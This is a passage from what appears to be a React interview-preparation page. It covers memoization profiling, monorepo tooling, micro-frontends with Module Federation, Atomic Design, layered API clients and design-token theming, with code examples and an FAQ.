const filtered = useMemo(() => // ❓ Is this actually slow?
products.filter(p => p.cat === category),
[products, category]
);
const handleClick = useCallback((id) => { // ❓ Is this causing re-renders?
navigate(\`/product/\${id}\`);
}, [navigate]);
// Wrapped everything in memo without measuring
// Maybe the actual bottleneck is the image loading or network!
}// Step 1: Profile with DevTools → find ProductGrid takes 150ms
// Step 2: "Why did this render?" → onRowClick changes every render
// Step 3: Fix the actual bottleneck
const handleClick = useCallback((id) => { // ← THIS was the issue
navigate(\`/product/\${id}\`);
}, [navigate]);
// Step 4: Profile again → ProductGrid now takes 8ms ✅
// Don't optimize anything else — the problem is solvedHow does the React Compiler (React Forget) automatically handle memoization, and will it replace manual useMemo/useCallback?
A monorepo is a single repository that holds multiple related projects — apps, shared libraries, configs — instead of scattering them across separate repositories. For React teams, this means your web app, mobile app, design system, API client, and shared utilities all live in one repo with shared tooling.
Why monorepo?
- Code sharing: Shared components, hooks, types, and utilities across apps — no publishing to npm, no version mismatches.
- Atomic changes: Update a shared component and all consuming apps in a single PR — no cross-repo dependency bumps.
- Consistent tooling: One ESLint config, one TypeScript config, one CI pipeline for everything.
- Dependency management: Single
node_modules— no duplicate dependencies across projects.
Key tools:
- Nx: Full-featured — dependency graph, affected-only builds/tests, generators (scaffolding), plugins for React/Next.js/Node. Best for large teams.
- Turborepo: Lightweight — task runner with intelligent caching and parallel execution. Zero config for existing projects. Best for incrementally adopting monorepo.
- pnpm workspaces: Package manager with built-in workspace support. Often used alongside Nx or Turborepo.
Challenges: Longer CI times (solved by affected-only builds), repository size growth, tooling complexity, and the learning curve for teams used to polyrepo.
// ── Monorepo Structure (Nx) ──
/*
my-org/
├── apps/
│ ├── web/ # Main React web app (Next.js)
│ │ ├── src/
│ │ ├── project.json # Nx project config
│ │ └── tsconfig.json
│ ├── mobile/ # React Native app
│ │ └── src/
│ ├── admin/ # Admin dashboard (React + Vite)
│ │ └── src/
│ └── docs/ # Documentation site
│ └── src/
├── libs/
│ ├── ui/ # Shared design system
│ │ ├── src/
│ │ │ ├── Button/
│ │ │ ├── Modal/
│ │ │ ├── Table/
│ │ │ └── index.ts # barrel export
│ │ └── project.json
│ ├── api-client/ # Typed API client (shared across apps)
│ │ └── src/
│ ├── hooks/ # Shared React hooks
│ │ └── src/
│ ├── utils/ # Pure utility functions
│ │ └── src/
│ └── types/ # Shared TypeScript types
│ └── src/
├── tools/ # Custom generators, scripts
├── nx.json # Nx workspace config
├── tsconfig.base.json # Shared TS config
└── package.json
*/
// ── Importing shared code (zero publishing!) ──
// apps/web/src/pages/Dashboard.tsx
import { Button, Modal, DataTable } from "@my-org/ui";
import { useAuth, usePagination } from "@my-org/hooks";
import { apiClient } from "@my-org/api-client";
import { formatCurrency, dateToRelative } from "@my-org/utils";
import type { User, Product } from "@my-org/types";
// Same imports work in apps/mobile, apps/admin — zero duplication!
// ── Nx: Affected-only testing (CI optimization) ──
// Only test projects affected by the current PR's changes
// $ npx nx affected --target=test --base=main
// If you only changed libs/ui → only tests for ui, web, admin run
// (mobile doesn't use ui → skipped)
// ── Turborepo: turbo.json task pipeline ──
// turbo.json
{
"$schema": "https://turbo.build/schema.json",
"pipeline": {
"build": {
"dependsOn": ["^build"], // build dependencies first
"outputs": ["dist/**", ".next/**"]
},
"test": {
"dependsOn": ["build"],
"inputs": ["src/**", "test/**"]
},
"lint": {}, // no dependencies — run in parallel
"dev": {
"cache": false,
"persistent": true
}
}
}
// $ turbo run build → builds all projects in dependency order
// with remote caching (skips unchanged projects)
// ── pnpm workspace: package.json setup ──
// pnpm-workspace.yaml
// packages:
// - "apps/*"
// - "libs/*"
// libs/ui/package.json
{
"name": "@my-org/ui",
"main": "./src/index.ts",
"types": "./src/index.ts"
}
// apps/web/package.json
{
"name": "@my-org/web",
"dependencies": {
"@my-org/ui": "workspace:*", // links to local package
"@my-org/hooks": "workspace:*",
"@my-org/api-client": "workspace:*"
}
}
// pnpm install → symlinks local packages, no npm publish needed
// ── Nx Generator: Scaffold new library ──
// $ npx nx g @nx/react:library feature-flags --directory=libs/feature-flags
// Creates: libs/feature-flags/ with src/, tests, tsconfig, project.json
// Automatically updates tsconfig paths and dependency graph
A company with 3 React apps (customer portal, admin dashboard, marketing site) maintained 3 separate repos with a shared component library published to a private npm registry. Updating a button variant required: (1) PR to component lib, (2) publish new version, (3) three PRs to bump the version in each app — taking 2-3 days. After migrating to an Nx monorepo, the same change was a single PR with atomic changes across all apps. CI used nx affected to only test/build impacted apps — build times actually decreased from 18 min to 6 min despite more code in the repo.
Candidates confuse monorepo with monolith or don't understand the tooling:
// Putting everything in one giant src/ folder
src/
├── components/ // 500 components from 4 different apps mixed together
├── pages/ // Pages from web, admin, docs — all interleaved
├── utils/ // No clear ownership or boundaries
└── package.json // One massive package.json with ALL dependencies
// ❌ No project boundaries → everything imports everything
// ❌ One broken test blocks ALL deployments
// ❌ Can't deploy apps independentlyapps/
├── web/ // Independently deployable
├── admin/ // Independently deployable
└── docs/ // Independently deployable
libs/
├── ui/ // Shared, versioned, tested independently
├── hooks/ // Clear ownership and API surface
└── api-client/ // Used by web and admin only
// ✅ Each project has its own package.json and build config
// ✅ Nx enforces dependency rules (admin can't import from web)
// ✅ Deploy only affected apps: nx affected --target=deployHow do you enforce module boundaries and dependency rules in an Nx monorepo?
Micro-frontends extend the microservices concept to the frontend — breaking a large application into smaller, independently developed, tested, and deployed frontend pieces. Each team owns a vertical slice of the product (e.g., checkout, search, user profile) and ships it independently.
When to use: Large organizations with 5+ teams working on the same product, where independent deployments and team autonomy outweigh the added complexity.
Implementation approaches:
- Webpack Module Federation (most popular for React): Apps share modules at runtime — one app exposes components, another consumes them. No npm publishing. Independent deployments.
- iframe-based: Simplest isolation. Each micro-frontend in an iframe. Drawback: no shared styling, complex communication, poor UX.
- Web Components: Framework-agnostic custom elements. Good isolation. Works across React, Vue, Angular.
- Route-based composition: Different apps own different routes. A shell app routes to the correct micro-frontend. Simplest approach — each route is a separate SPA.
Trade-offs:
- Pros: Independent deployments, team autonomy, technology flexibility, isolated failures, smaller codebases per team.
- Cons: Shared state complexity, duplicate dependencies (multiple React copies), inconsistent UX, slower initial load, complex debugging across boundaries.
// ═══════════════════════════════════════
// WEBPACK MODULE FEDERATION (React)
// ═══════════════════════════════════════
// ── Host (Shell) App: webpack.config.js ──
const { ModuleFederationPlugin } = require("webpack").container;
module.exports = {
plugins: [
new ModuleFederationPlugin({
name: "shell",
remotes: {
// Load micro-frontends at runtime from their deployed URLs
checkout: "checkout@https://checkout.myapp.com/remoteEntry.js",
search: "search@https://search.myapp.com/remoteEntry.js",
profile: "profile@https://profile.myapp.com/remoteEntry.js",
},
shared: {
react: { singleton: true, requiredVersion: "^18.0.0" },
"react-dom": { singleton: true, requiredVersion: "^18.0.0" },
"react-router-dom": { singleton: true },
},
}),
],
};
// ── Remote (Checkout) App: webpack.config.js ──
module.exports = {
plugins: [
new ModuleFederationPlugin({
name: "checkout",
filename: "remoteEntry.js", // entry point for consumers
exposes: {
// Components this micro-frontend shares
"./CheckoutPage": "./src/pages/CheckoutPage",
"./CartWidget": "./src/components/CartWidget",
"./useCart": "./src/hooks/useCart",
},
shared: {
react: { singleton: true },
"react-dom": { singleton: true },
},
}),
],
};
// ── Shell App: Loading remote components ──
import React, { Suspense, lazy } from "react";
import { Routes, Route } from "react-router-dom";
// Dynamic imports from remote micro-frontends
const CheckoutPage = lazy(() => import("checkout/CheckoutPage"));
const SearchPage = lazy(() => import("search/SearchPage"));
const ProfilePage = lazy(() => import("profile/ProfilePage"));
const CartWidget = lazy(() => import("checkout/CartWidget"));
function ShellApp() {
return (
<div>
<header>
<nav>
<a href="/">Home</a>
<a href="/search">Search</a>
<a href="/profile">Profile</a>
</nav>
{/* Cart widget from checkout team — loaded from their server */}
<Suspense fallback={<CartBadgeSkeleton />}>
<CartWidget />
</Suspense>
</header>
<Suspense fallback={<PageSkeleton />}>
<Routes>
<Route path="/" element={<HomePage />} />
<Route path="/search/*" element={<SearchPage />} />
<Route path="/checkout/*" element={<CheckoutPage />} />
<Route path="/profile/*" element={<ProfilePage />} />
</Routes>
</Suspense>
</div>
);
}
// ── Error boundary for resilience ──
// If checkout team deploys a broken version, only checkout breaks
// Shell, search, and profile continue working
function MicroFrontendBoundary({ name, children }) {
return (
<ErrorBoundary
fallback={
<div className="mfe-error">
<p>{name} is temporarily unavailable.</p>
<button onClick={() => window.location.reload()}>Retry</button>
</div>
}
>
<Suspense fallback={<PageSkeleton />}>
{children}
</Suspense>
</ErrorBoundary>
);
}
// ── Communication between micro-frontends ──
// Option 1: Custom Events (decoupled)
// Checkout dispatches:
window.dispatchEvent(new CustomEvent("cart:updated", {
detail: { itemCount: 3, total: 2999 }
}));
// Shell or CartWidget listens:
useEffect(() => {
const handler = (e) => setCartCount(e.detail.itemCount);
window.addEventListener("cart:updated", handler);
return () => window.removeEventListener("cart:updated", handler);
}, []);
// Option 2: Shared state via Module Federation
// Expose a shared store from one micro-frontend, consume in others
A large e-commerce platform had 8 teams working on a single React monolith — 2.5M lines of code. Deploys took 45 minutes and a bug in checkout blocked search team's deployments. They split into micro-frontends: checkout, search, product catalog, user profile, and a shell. Each team deployed independently via Module Federation. Deploy time dropped from 45 min to 8 min per team. The checkout team could deploy 5 times/day without coordinating with search. Shared React (singleton) kept the bundle overhead to only 12KB per micro-frontend boundary.
Candidates load multiple React instances or create tight coupling between micro-frontends:
// webpack.config.js — no singleton sharing
shared: {
react: {}, // ❌ each MFE bundles its own React
"react-dom": {}, // ❌ 2MB+ of duplicate React code
}
// + Error: hooks don't work across different React instances
// Tight coupling — checkout directly imports from search:
import { SearchBar } from "search/SearchBar"; // ❌ in checkout's code
// If search team changes SearchBar API → checkout breaks// Singleton sharing — ONE React instance for all MFEs
shared: {
react: { singleton: true, requiredVersion: "^18.0.0" },
"react-dom": { singleton: true },
}
// Decoupled communication via events:
// Checkout doesn't know about search's internals
window.dispatchEvent(new CustomEvent("cart:updated", {
detail: { count: 3 } // contract, not implementation
}));
// Each MFE only depends on event contracts, not other MFEs' codeHow does Next.js Multi-Zones compare to Module Federation for micro-frontends?
Atomic Design (by Brad Frost) is a methodology for building component systems in a hierarchical, composable way — from the smallest building blocks up to complete pages. It maps naturally to React's component model.
Five levels:
- Atoms: Smallest, indivisible UI elements —
Button,Input,Label,Avatar,Badge,Icon. No business logic. Pure presentational. - Molecules: Groups of atoms forming a functional unit —
SearchBar(Input + Button),FormField(Label + Input + ErrorMessage),NavItem(Icon + Link). - Organisms: Complex, distinct UI sections —
Header(Logo + NavItems + SearchBar + UserMenu),ProductCard(Image + Title + Price + AddToCart),CommentThread. - Templates: Page-level layouts defining structure without real data —
DashboardLayout,ProductPageTemplate. Compose organisms into a page skeleton. - Pages: Templates filled with real data — the final rendered page. Connect to APIs, apply business logic, pass data down.
Component design principles:
- Single Responsibility: Each component does one thing well
- Open/Closed: Open for extension (via props/composition), closed for modification
- Inversion of Control: Parent decides what to render (render props, children, slots)
- Co-location: Keep styles, tests, types, and stories next to the component
// ── Folder Structure: Atomic Design ──
/*
src/
├── components/
│ ├── atoms/
│ │ ├── Button/
│ │ │ ├── Button.tsx
│ │ │ ├── Button.styles.ts // styled-components or CSS module
│ │ │ ├── Button.test.tsx
│ │ │ ├── Button.stories.tsx // Storybook
│ │ │ └── index.ts // export { Button } from "./Button"
│ │ ├── Input/
│ │ ├── Avatar/
│ │ ├── Badge/
│ │ ├── Spinner/
│ │ └── index.ts // barrel: export * from "./Button"; ...
│ ├── molecules/
│ │ ├── SearchBar/
│ │ ├── FormField/
│ │ ├── UserCard/
│ │ └── index.ts
│ ├── organisms/
│ │ ├── Header/
│ │ ├── ProductGrid/
│ │ ├── CommentThread/
│ │ └── index.ts
│ └── templates/
│ ├── DashboardLayout/
│ ├── AuthLayout/
│ └── index.ts
├── pages/ // Pages = templates + real data
│ ├── Dashboard/
│ ├── ProductDetail/
│ └── Settings/
*/
// ── Atom: Button (pure, reusable, no business logic) ──
interface ButtonProps extends React.ButtonHTMLAttributes<HTMLButtonElement> {
variant?: "primary" | "secondary" | "ghost" | "danger";
size?: "sm" | "md" | "lg";
isLoading?: boolean;
leftIcon?: React.ReactNode;
}
function Button({
variant = "primary",
size = "md",
isLoading = false,
leftIcon,
children,
disabled,
...props
}: ButtonProps) {
return (
<button
className={`btn btn-${variant} btn-${size}`}
disabled={disabled || isLoading}
{...props}
>
{isLoading ? <Spinner size="sm" /> : leftIcon}
<span>{children}</span>
</button>
);
}
// ── Molecule: SearchBar (atoms composed) ──
function SearchBar({ onSearch, placeholder = "Search..." }) {
const [query, setQuery] = useState("");
const handleSubmit = (e) => {
e.preventDefault();
onSearch(query);
};
return (
<form className="search-bar" onSubmit={handleSubmit} role="search">
<Input
value={query}
onChange={(e) => setQuery(e.target.value)}
placeholder={placeholder}
leftIcon={<SearchIcon />}
aria-label="Search"
/>
<Button type="submit" variant="primary" size="md">
Search
</Button>
</form>
);
}
// ── Organism: Header (molecules + atoms composed) ──
function Header({ user, cartCount, onSearch }) {
return (
<header className="site-header">
<Logo /> {/* atom */}
<Navigation items={navItems} /> {/* molecule */}
<SearchBar onSearch={onSearch} /> {/* molecule */}
<div className="header-actions">
<CartButton count={cartCount} /> {/* molecule */}
<UserMenu user={user} /> {/* molecule */}
</div>
</header>
);
}
// ── Template: Page layout (structure without data) ──
function DashboardLayout({ sidebar, header, children, footer }) {
return (
<div className="dashboard-layout">
<aside className="sidebar">{sidebar}</aside>
<div className="main-content">
<div className="header">{header}</div>
<main className="content">{children}</main>
<div className="footer">{footer}</div>
</div>
</div>
);
}
// ── Page: Template + real data ──
function DashboardPage() {
const { data: stats } = useQuery({ queryKey: ["stats"], queryFn: fetchStats });
const { data: user } = useAuth();
return (
<DashboardLayout
sidebar={<DashboardSidebar activeItem="overview" />}
header={<Header user={user} cartCount={0} onSearch={handleSearch} />}
footer={<Footer />}
>
<h1>Welcome, {user.name}</h1>
<StatsGrid stats={stats} /> {/* organism */}
<RecentActivity limit={10} /> {/* organism */}
<QuickActions /> {/* organism */}
</DashboardLayout>
);
}
A startup with 4 developers had 200+ components in a flat components/ folder — no naming convention, no hierarchy. Button, ProductCard, DashboardPage, and FormField were all siblings. Finding components required full-text search. After adopting Atomic Design, new developers could instantly find where a component belongs (is it an atom or organism?). Storybook stories were organized by level — designers reviewed atoms and molecules, PMs reviewed pages. Component reuse increased 3× because developers discovered existing atoms instead of creating duplicates.
Candidates create flat component folders or skip the hierarchy:
components/
├── Button.tsx
├── Header.tsx
├── ProductCard.tsx
├── SearchBar.tsx
├── DashboardPage.tsx // page in components?
├── Input.tsx
├── UserMenu.tsx
├── Footer.tsx
├── Modal.tsx
├── ... (200 more files)
// ❌ No way to know if Header uses SearchBar or vice versa
// ❌ Can't tell which components are reusable vs page-specific
// ❌ New developers lost in a sea of filescomponents/
├── atoms/ // 🧱 Building blocks (Button, Input, Avatar)
├── molecules/ // 🔗 Composed atoms (SearchBar, FormField)
├── organisms/ // 🏗️ Complex sections (Header, ProductGrid)
└── templates/ // 📐 Page layouts (DashboardLayout)
pages/ // 📄 Data-connected pages (DashboardPage)
// ✅ Clear hierarchy — atoms can't depend on organisms
// ✅ Each level only imports from levels below
// ✅ New devs know exactly where to add new componentsHow does Storybook integrate with Atomic Design for component documentation and visual testing?
An API layer abstracts all data fetching behind a clean interface — components never call fetch() or axios directly. This separation provides a single place to handle authentication headers, error transformation, retries, caching, and API versioning.
Layered architecture:
- HTTP Client: A configured Axios/fetch instance with base URL, auth interceptors, error transformers, and retry logic. One instance, used everywhere.
- API Services: Domain-specific modules that call the HTTP client —
userApi.getProfile(),productApi.search(query),orderApi.create(data). Each service owns one domain. - React Query Hooks: Custom hooks that wrap API services with caching, loading states, and mutations —
useProducts(),useCreateOrder(). Components use these hooks. - DTOs & Transformers: Transform API responses (snake_case, nested, raw) into frontend-friendly shapes (camelCase, flat, typed). Changes to API structure don't ripple through UI code.
Benefits:
- Swap backends (REST → GraphQL) without changing components
- Mock API services in tests without intercepting network calls
- Centralized error handling, auth, and logging
- Type safety end-to-end with TypeScript
// ═══════════════════════════════════════
// LAYER 1: HTTP Client (lib/httpClient.ts)
// ═══════════════════════════════════════
import axios from "axios";
const httpClient = axios.create({
baseURL: process.env.NEXT_PUBLIC_API_URL, // https://api.myapp.com/v1
timeout: 10_000,
headers: { "Content-Type": "application/json" },
withCredentials: true, // send cookies
});
// Request interceptor: attach auth token
httpClient.interceptors.request.use((config) => {
const token = getAuthToken();
if (token) config.headers.Authorization = `Bearer ${token}`;
return config;
});
// Response interceptor: transform errors, handle 401
httpClient.interceptors.response.use(
(res) => res.data, // unwrap: return data directly (not { data, status, headers })
async (error) => {
// Standardize error shape
const apiError = {
status: error.response?.status || 500,
message: error.response?.data?.message || "Something went wrong",
code: error.response?.data?.code || "UNKNOWN_ERROR",
};
// Auto-refresh on 401
if (apiError.status === 401 && !error.config._retry) {
error.config._retry = true;
await refreshToken();
return httpClient(error.config);
}
return Promise.reject(apiError);
}
);
export { httpClient };
// ═══════════════════════════════════════
// LAYER 2: API Services (api/productApi.ts)
// ═══════════════════════════════════════
import { httpClient } from "@/lib/httpClient";
import { transformProduct, transformProductList } from "./transformers";
export const productApi = {
getAll: async (params?: { category?: string; page?: number }) => {
const data = await httpClient.get("/products", { params });
return transformProductList(data); // snake_case → camelCase
},
getById: async (id: string) => {
const data = await httpClient.get(`/products/${id}`);
return transformProduct(data);
},
create: async (product: CreateProductDTO) => {
const data = await httpClient.post("/products", product);
return transformProduct(data);
},
update: async (id: string, updates: UpdateProductDTO) => {
const data = await httpClient.patch(`/products/${id}`, updates);
return transformProduct(data);
},
delete: async (id: string) => {
await httpClient.delete(`/products/${id}`);
},
search: async (query: string, filters?: SearchFilters) => {
const data = await httpClient.get("/products/search", {
params: { q: query, ...filters },
});
return transformProductList(data);
},
};
// ═══════════════════════════════════════
// LAYER 2.5: Transformers (api/transformers.ts)
// ═══════════════════════════════════════
// API returns snake_case → frontend uses camelCase
interface ApiProduct {
id: string;
product_name: string;
unit_price: number;
created_at: string;
category_info: { cat_id: string; cat_name: string };
}
interface Product {
id: string;
name: string;
price: number;
createdAt: Date;
category: { id: string; name: string };
}
export function transformProduct(raw: ApiProduct): Product {
return {
id: raw.id,
name: raw.product_name,
price: raw.unit_price,
createdAt: new Date(raw.created_at),
category: { id: raw.category_info.cat_id, name: raw.category_info.cat_name },
};
}
// ═══════════════════════════════════════
// LAYER 3: React Query Hooks (hooks/useProducts.ts)
// ═══════════════════════════════════════
import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
import { productApi } from "@/api/productApi";
export function useProducts(category?: string) {
return useQuery({
queryKey: ["products", { category }],
queryFn: () => productApi.getAll({ category }),
staleTime: 5 * 60_000,
});
}
export function useProduct(id: string) {
return useQuery({
queryKey: ["products", id],
queryFn: () => productApi.getById(id),
enabled: !!id, // don't fetch if no id
});
}
export function useCreateProduct() {
const queryClient = useQueryClient();
return useMutation({
mutationFn: productApi.create,
onSuccess: () => {
queryClient.invalidateQueries({ queryKey: ["products"] });
},
});
}
// ═══════════════════════════════════════
// LAYER 4: Component (just uses hooks!)
// ═══════════════════════════════════════
function ProductList() {
const { data: products, isLoading, error } = useProducts("electronics");
const createProduct = useCreateProduct();
// Component knows NOTHING about fetch, axios, endpoints, auth headers
// Swap REST → GraphQL by changing Layer 2 only
}
A team had fetch() calls scattered across 80+ components — each with its own error handling, auth header logic, and response parsing. When the API changed product_name to title, 23 components needed updating. After introducing an API layer: (1) httpClient handled auth and errors centrally, (2) productApi service owned all product endpoints, (3) transformers mapped API shapes to frontend types, (4) hooks wrapped services with React Query. The same field rename now required changing 1 line in the transformer. API migration from REST to GraphQL later touched zero component files.
Candidates call fetch/axios directly in components:
function ProductList() {
const [products, setProducts] = useState([]);
useEffect(() => {
fetch("https://api.myapp.com/v1/products", {
headers: {
"Authorization": \`Bearer \${localStorage.getItem("token")}\`,
"Content-Type": "application/json",
},
})
.then(r => r.json())
.then(data => setProducts(data.map(p => ({
...p,
name: p.product_name, // transform in component!
}))))
.catch(err => console.log(err)); // no real error handling
}, []);
// ❌ Same auth/fetch/transform code in 80 components
// ❌ API URL change = edit every file
}function ProductList() {
const { data: products, isLoading, error } = useProducts("electronics");
// ✅ Zero knowledge of HTTP, auth, URLs, or data shape
// ✅ API changes isolated to service/transformer layer
// ✅ Automatic caching, deduplication, error states
if (isLoading) return <Skeleton />;
return products.map(p => <ProductCard key={p.id} product={p} />);
}How do you generate a typed API client from OpenAPI/Swagger specs to keep frontend and backend in sync?
A Design System is a collection of reusable components, design tokens, patterns, and guidelines that ensure visual consistency across products. In React, it's a shared component library with a theming layer that lets you customize the look-and-feel without modifying component internals.
Core concepts:
- Design Tokens: The atomic values of a design system — colors, spacing, typography, border radii, shadows. Stored as variables (CSS custom properties or JS objects) rather than hardcoded values. Tokens are the single source of truth.
- Theming: A mechanism to swap design tokens at runtime — dark mode, high contrast, brand themes. Implemented via CSS custom properties, styled-components
ThemeProvider, or Tailwind config. - Component API design: Consistent prop naming across all components —
variant,size,colorScheme,isDisabled. Follows a predictable contract. - Multi-brand/white-label: Same components, different tokens per brand. Brand A uses blue primary + rounded corners; Brand B uses green primary + sharp corners. Only tokens change.
Tooling:
- Storybook: Component documentation, visual testing, interactive playground
- Style Dictionary / Tokens Studio: Transform design tokens from Figma to CSS/JS/iOS/Android
- Chromatic / Percy: Visual regression testing — catch unintended UI changes
- Changesets: Versioning and changelog for the design system package
// ═══════════════════════════════════════
// DESIGN TOKENS (tokens/index.ts)
// ═══════════════════════════════════════
// Semantic tokens — meaningful names, not raw values
export const tokens = {
colors: {
primary: { 50: "#eff6ff", 500: "#3b82f6", 600: "#2563eb", 700: "#1d4ed8" },
neutral: { 50: "#f9fafb", 100: "#f3f4f6", 700: "#374151", 900: "#111827" },
success: { 500: "#22c55e" },
error: { 500: "#ef4444" },
warning: { 500: "#f59e0b" },
},
spacing: { xs: "4px", sm: "8px", md: "16px", lg: "24px", xl: "32px", "2xl": "48px" },
radii: { sm: "4px", md: "8px", lg: "12px", full: "9999px" },
fontSizes: { xs: "12px", sm: "14px", md: "16px", lg: "18px", xl: "24px", "2xl": "32px" },
shadows: {
sm: "0 1px 2px rgba(0,0,0,0.05)",
md: "0 4px 6px rgba(0,0,0,0.1)",
lg: "0 10px 25px rgba(0,0,0,0.15)",
},
};
// ═══════════════════════════════════════
// THEMING with CSS Custom Properties
// ═══════════════════════════════════════
// themes/light.css
// :root {
// --color-bg: #ffffff;
// --color-text: #111827;
// --color-primary: #3b82f6;
// --color-surface: #f9fafb;
// --color-border: #e5e7eb;
// --shadow-card: 0 1px 3px rgba(0,0,0,0.1);
// }
// themes/dark.css
// [data-theme="dark"] {
// --color-bg: #0f172a;
// --color-text: #f1f5f9;
// --color-primary: #60a5fa;
// --color-surface: #1e293b;
// --color-border: #334155;
// --shadow-card: 0 1px 3px rgba(0,0,0,0.4);
// }
// ── Theme Provider (React) ──
function ThemeProvider({ children }) {
const [theme, setTheme] = useState(() =>
window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"
);
useEffect(() => {
document.documentElement.setAttribute("data-theme", theme);
}, [theme]);
const toggleTheme = () => setTheme(t => t === "light" ? "dark" : "light");
return (
<ThemeContext.Provider value={{ theme, toggleTheme }}>
{children}
</ThemeContext.Provider>
);
}
// ── Component using tokens (not hardcoded values) ──
// Button.module.css
// .button {
// background-color: var(--color-primary);
// color: white;
// padding: var(--spacing-sm) var(--spacing-md);
// border-radius: var(--radius-md);
// font-size: var(--font-size-md);
// box-shadow: var(--shadow-sm);
// }
// .button:hover { background-color: var(--color-primary-hover); }
// /* Dark mode automatic — CSS vars change, components don't! */
// ═══════════════════════════════════════
// MULTI-BRAND / WHITE-LABEL
// ═══════════════════════════════════════
// Each brand overrides the same CSS custom properties
// brands/brand-a.css
// :root {
// --color-primary: #3b82f6; /* Blue */
// --radius-md: 12px; /* Rounded */
// --font-family: "Inter", sans-serif;
// }
// brands/brand-b.css
// :root {
// --color-primary: #22c55e; /* Green */
// --radius-md: 2px; /* Sharp corners */
// --font-family: "Roboto", sans-serif;
// }
// Load brand CSS based on config:
function App({ brandId }) {
useEffect(() => {
const link = document.createElement("link");
link.rel = "stylesheet";
link.href = `/brands/${brandId}.css`;
document.head.appendChild(link);
}, [brandId]);
return <AppContent />;
// Same components, completely different look per brand!
}
// ═══════════════════════════════════════
// COMPONENT LIBRARY STRUCTURE
// ═══════════════════════════════════════
/*
design-system/
├── tokens/
│ ├── colors.ts
│ ├── spacing.ts
│ ├── typography.ts
│ └── index.ts # all tokens exported
├── themes/
│ ├── light.css
│ ├── dark.css
│ └── ThemeProvider.tsx
├── components/
│ ├── Button/
│ │ ├── Button.tsx
│ │ ├── Button.module.css
│ │ ├── Button.test.tsx
│ │ ├── Button.stories.tsx
│ │ └── index.ts
│ ├── Input/
│ ├── Modal/
│ ├── Select/
│ └── DataTable/
├── hooks/
│ ├── useTheme.ts
│ └── useMediaQuery.ts
├── .storybook/
│ └── preview.js
├── package.json
└── CHANGELOG.md # managed by changesets
*/
// ── Consistent Component API Contract ──
// Every component follows the same prop patterns:
interface BaseComponentProps {
variant?: "solid" | "outline" | "ghost";
size?: "sm" | "md" | "lg";
colorScheme?: "primary" | "success" | "error" | "warning";
isDisabled?: boolean;
className?: string; // escape hatch for custom styles
}
// <Button variant="solid" size="md" colorScheme="primary" />
// <Badge variant="outline" size="sm" colorScheme="success" />
// <Alert variant="solid" colorScheme="error" />
// Predictable API → developers don't need to check docs every time
A SaaS company sold a white-label dashboard to 12 enterprise clients — each needing their own branding (colors, fonts, logo, border styles). Initially, they maintained 12 separate CSS files with duplicated component styles — a button style fix required updating 12 files. After implementing a design token architecture with CSS custom properties, each brand was just a 30-line token override file. The same React components rendered pixel-perfect for every brand. Onboarding a new brand went from 2 weeks to 2 hours (just define 25 token values). Visual regression tests via Chromatic caught cross-brand regressions automatically.
Candidates hardcode styles instead of using tokens:
.button {
background-color: #3b82f6; /* hardcoded blue */
padding: 8px 16px; /* magic numbers */
border-radius: 8px; /* hardcoded */
font-size: 14px; /* hardcoded */
color: white;
}
/* ❌ Dark mode? Create .button-dark with different colors
❌ New brand? Duplicate ALL styles with different values
❌ Designer changes blue → find/replace across 200 files */.button {
background-color: var(--color-primary);
padding: var(--spacing-sm) var(--spacing-md);
border-radius: var(--radius-md);
font-size: var(--font-size-sm);
color: var(--color-on-primary);
}
/* ✅ Dark mode: change --color-primary in [data-theme="dark"]
✅ New brand: override 25 token values, done
✅ Blue → purple: change ONE token, ALL components update */How do you sync design tokens between Figma and code using Tokens Studio and Style Dictionary?
Frequently Asked Questions
The most common React interview questions cover JSX, components (functional vs class), props vs state, hooks (useState, useEffect, useMemo, useCallback), the Virtual DOM, context API, and React Router. Our guide covers all of these with real code examples and follow-up questions.
We cover 40 React interview questions across 5 difficulty levels: Basic (10), Intermediate (10), Advanced (8), Experienced (7), and Performance & Optimization (5). Each question includes 6 answer sections.
Questions are organized into 5 levels: Basic (0-1 year experience), Intermediate (1-3 years), Advanced (3-5 years), Experienced/Architect (5+ years), and Performance & Optimization (all levels). You can filter by level using the pills above the question list.
All code examples are real, working React code — not pseudocode or foo/bar placeholders. Each example uses realistic component names, actual React APIs, and scenarios from production environments. You can copy and use them directly in your projects.
Yes — our questions cover React 18+ features including Concurrent Mode, Server Components (RSC), useTransition, useDeferredValue, Suspense for data fetching, and the new automatic batching behavior. We also cover Next.js App Router patterns.
We cover all major hooks: useState, useEffect, useContext, useReducer, useCallback, useMemo, useRef, useImperativeHandle, useTransition, useDeferredValue, plus custom hooks. Each is explained with real-world code and common mistakes.
Focus on React.memo, useMemo, useCallback, code splitting with React.lazy/Suspense, virtualization for large lists, bundle optimization, and React DevTools Profiler. Our performance section covers all of these with real metrics and profiling techniques.
We cover Context API, Redux Toolkit, Zustand, Jotai, React Query/TanStack Query, and the useReducer hook. Each approach is compared with real trade-offs, helping you choose the right solution for different application sizes.